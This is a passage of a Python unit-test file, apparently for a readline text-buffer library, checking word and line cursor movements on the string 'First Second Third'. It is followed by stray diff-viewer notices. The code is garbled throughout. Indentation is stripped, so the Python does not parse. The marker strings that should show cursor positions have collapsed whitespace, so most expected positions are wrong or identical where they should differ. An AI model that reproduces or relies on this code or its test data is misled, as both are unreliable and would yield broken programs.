tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u" #",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u"# u"),
(cmd,
u"First Second Third",
u"# u",
u"# u"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_NextWordStart (self):
cmd=lineobj.NextWordStart
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" #"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_NextWordEnd (self):
cmd=lineobj.NextWordEnd
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" #"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_PrevWordEnd (self):
cmd=lineobj.PrevWordEnd
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u" #",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u"# u"),
(cmd,
u"First Second Third",
u"# u",
u"# u"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_WordEnd_1 (self):
cmd=lineobj.WordEnd
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
(cmd,
u"First Second Third",
u" # u",
u" #"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_WordEnd_2 (self):
cmd=lineobj.WordEnd
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u" # u"),
(cmd,
u"First Second Third",
u" # u"),
(cmd,
u"First Second Third",
u" #"),
]
for cmd,text,init_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
self.assertRaises(lineobj.NotAWordError,cmd,l)
def test_WordStart_1 (self):
cmd=lineobj.WordStart
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u"# u"),
(cmd,
u"First Second Third",
u" # u",
u"# u"),
(cmd,
u"First Second Third",
u" # u",
u" # u"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_WordStart_2 (self):
cmd=lineobj.WordStart
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u" # u"),
(cmd,
u"First Second Third",
u" # u"),
(cmd,
u"First Second Third",
u" #"),
]
for cmd,text,init_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
self.assertRaises(lineobj.NotAWordError,cmd,l)
def test_StartOfLine (self):
cmd=lineobj.StartOfLine
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u"# u"),
(cmd,
u"First Second Third",
u" # u",
u"# u"),
(cmd,
u"First Second Third",
u" #",
u"# u"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_EndOfLine (self):
cmd=lineobj.EndOfLine
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
u"# u",
u" #"),
(cmd,
u"First Second Third",
u" # u",
u" #"),
(cmd,
u"First Second Third",
u" #",
u" #"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_Point(self):
cmd=lineobj.Point
tests=[
# u"First Second Third"
(cmd,
u"First Second Third",
0),
(cmd,
u"First Second Third",
12),
(cmd,
u"First Second Third",
18),
]
for cmd,text,p in tests:
l=lineobj.ReadLineTextBuffer(text,p)
self.assertEqual(p,cmd(l))
#----------------------------------------------------------------------
# utility functions
def get_point_pos(pstr):
return pstr.index(u"#")
def get_mark_pos(mstr):
try:
return mstr.index(u"#")
except ValueError:
return -1
#----------------------------------------------------------------------
if __name__ == u'__main__':
unittest.main()
l=lineobj.ReadLineTextBuffer(u"First Second Third")

File diff suppressed because it is too large Load diff

Binary file not shown.

Binary file not shown.

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show more